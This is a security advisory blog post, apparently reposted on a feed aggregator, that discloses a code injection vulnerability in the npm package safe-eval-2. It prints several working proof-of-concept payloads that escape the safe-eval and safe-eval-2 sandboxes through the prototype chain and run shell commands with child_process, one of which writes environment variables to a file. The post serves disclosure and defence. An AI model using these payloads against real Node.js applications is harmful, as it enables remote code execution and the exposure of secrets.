惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

F
Fortinet All Blogs
Recent Announcements
Recent Announcements
H
Help Net Security
Y
Y Combinator Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
有赞技术团队
有赞技术团队
小众软件
小众软件
Last Week in AI
Last Week in AI
U
Unit 42
Google DeepMind News
Google DeepMind News
博客园 - 司徒正美
H
Hackread – Cybersecurity News, Data Breaches, AI and More
J
Java Code Geeks
Microsoft Security Blog
Microsoft Security Blog
G
Google Developers Blog
N
Netflix TechBlog - Medium
Blog — PlanetScale
Blog — PlanetScale
云风的 BLOG
云风的 BLOG
V
V2EX
博客园 - 聂微东
人人都是产品经理
人人都是产品经理
博客园 - 三生石上(FineUI控件)
阮一峰的网络日志
阮一峰的网络日志
爱范儿
爱范儿

NodeJS Security & NodeJS Secure Coding's Blog

Hardening Your npm and pnpm Configs in the Age of Shai-Hulud Argument Injection vulnerability in git-blame@1.4.0 Argument Injection vulnerability in `gits@0.1.8` Command Injection vulnerability in `@fab1o/git@1.4.0` Command Injection vulnerability in `git-contributors` via unsanitized CLI arguments Command Injection vulnerability in `git-q@0.0.3` Command injection vulnerability via unsanitized CLI arguments in touxing/fast-git-clone Command Injection vulnerability in `willitmerge@0.2.1` A Directory Traversal Vulnerability I found in Mastra AI Frameworks MCP Server Mastering NPX: A Cheatsheet for npm and Node.js Power Users Mitigate Supply Chain Security with DevContainers and 1Password for Node.js Local Development The Tale of the Vulnerable MCP Database Server Bad Security Defaults in Mastra AI Frameworks Templates SQL Injection and Bypassing "Read-Only" Mode in Xata's MCP Server Security Advisory for qix npm supply-chain compromise affecting debug and billions of weekly download users How to Mitigate SQL Bypass in MCP Servers Enhancing MCP Server Security: A Guide to Using execFile Argument Injection Vulnerability in ggit How to Bypass Access Control in PostgreSQL in Simple PSQL MCP Server for SQL Injection Command Injection Flaws in ggit: Unveiling a Vulnerability Command Injection Vulnerability in Create MCP Server STDIO Tool Exposes System Monitoring Functions GitHub Kanban MCP Server Command Injection Vulnerability Threatens Developer Workflows Critical Command Injection Flaw in iOS Simulator MCP Server Exposes Development Environments Command Injection Vulnerability Discovered in Codehooks MCP Server: A Critical Security Analysis SSRF Shenanigans in safe-axios: Redirects Open the Backdoor SSRF Vulnerability in safe-axios: Unintended Public Address Classification Bypassing SSRF Safeguards in ssrfcheck: A Case of Incomplete Denylists Don't Be Fooled by Multicast, SSRF Bypass in private-ip Node.js Authentication from Lucia to Better Auth Bypassing SSRF Protection in nossrf: When Your Safeguards Become Loopholes
Disclosing code injection vulnerabilities in safe-eval-2 ...
2024-04-26 · via NodeJS Security & NodeJS Secure Coding's Blog

During a security research as part of my upcoming Code Injection book about Node.js Secure Coding I audited several npm packages and found a code injection vulnerability in the safe-eval-2 npm package.

This package is a fork of the original safe-eval package, which was supposed to be a promise for a secure JavaScript eval() function, but history proved otherwise. The original safe-eval package was found to be vulnerable to code injection attacks multiple times, and the safe-eval-2 npm package forked by another user (lcnvdl), included some commits, and published as a new version and alternative to the original package, that is supposed to be secure.

Luckily, safe-eval-2 doesn’t include many downloads or dependant packages, but it’s still important to disclose the vulnerability an create a CVE identifier for it so that the community can be aware of the risks of using this package.

safe-eval-2 npm package on the npm registry

Code injection in safe-eval and safe-eval-2 vulnerability details

There are many ways to bypass the security sandbox of safe-eval and all versions are now considered vulnerable and JavaScript developers should not use it in their applications.

Following are publicly known proof-of-concept payloads that attackers could employ to exploit server-side JavaScript applications running Node.js or other compatible runtimes that support safe-eval or safe-eval-2:

var safeEval = require('safe-eval')

let code = `

(function () {

let ret = hasOwnProperty;

ret.constructor('return process')().mainModule.require('child_process').execSync('touch flag');

}());

`

safeEval(code);

The above code snippet demonstrates an exploit in which an immediately invoked function expression (IIFE) uses the hasOwnProperty method to access the process object and execute a shell command to create a file named flag in the root directory of the running Node.js server.

Another proof-of-concept payload that demonstrates a code injection vulnerability in safe-eval is:

var safeEval = require('safe-eval')

let code = ` (function() {

try {

__defineGetter__("x", );

} catch(ret){

ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');

}}

)()

`

safeEval(code);

In this case, the exploit uses the __defineGetter__ method to trigger an error, then using the Error object, traverse the prototype chain and access the process object to execute a shell command that creates a file named flag in the root directory of the Node.js server.

Well, safe-eval-2 is also vulnerable. Here are a few examples of how to exploit the safe-eval-2 package:

const safeEval = require("safe-eval-2");

const code = `

(function() {

// using the hasOwnProperty method to access the process object and execute a shell command

hasOwnProperty.__proto__.constructor('return process')().mainModule.require('child_process').execSync('env > /tmp/rce1');

// using a failed import to access the process object through the Error object and execute a shell command

// import('test').catch((e)=>{})['constructor']['constructor']('return process')().mainModule.require('child_process').execSync('touch /tmp/rce2')

})()

`;

safeEval(code);

Vulnerability disclosure

This code injection vulnerability affects all known versions of safe-eval-2 which to this date is 0.4.2 and prior.

Since the safe-eval-2 package is a fork of the original safe-eval package, and not allowing for new issues to be reported, nor isn’t a great risk to the community due to the low usage, I am going to disclose this vulnerability publicly through this blog post and an issue opened in the upstream project safe-eval repository.

Learn how to mitigate code injection

As I mentioned in the opening paragraph, I am working on a book about secure coding in Node.js that focuses entirely on code injection vulnerabilities in JavaScript and the Node.js runtime.

You’ll learn how to mitigate the type of code injection vulnerabilities like I shared here about safe-eval-2 as well as different exploitation methods and payloads. If you are interested in learning more about this topic, I invite you to get the book and level up on security skills as a developer: Node.js Secure Coding: Mitigating and Exploiting Code Injection Vulnerabilities.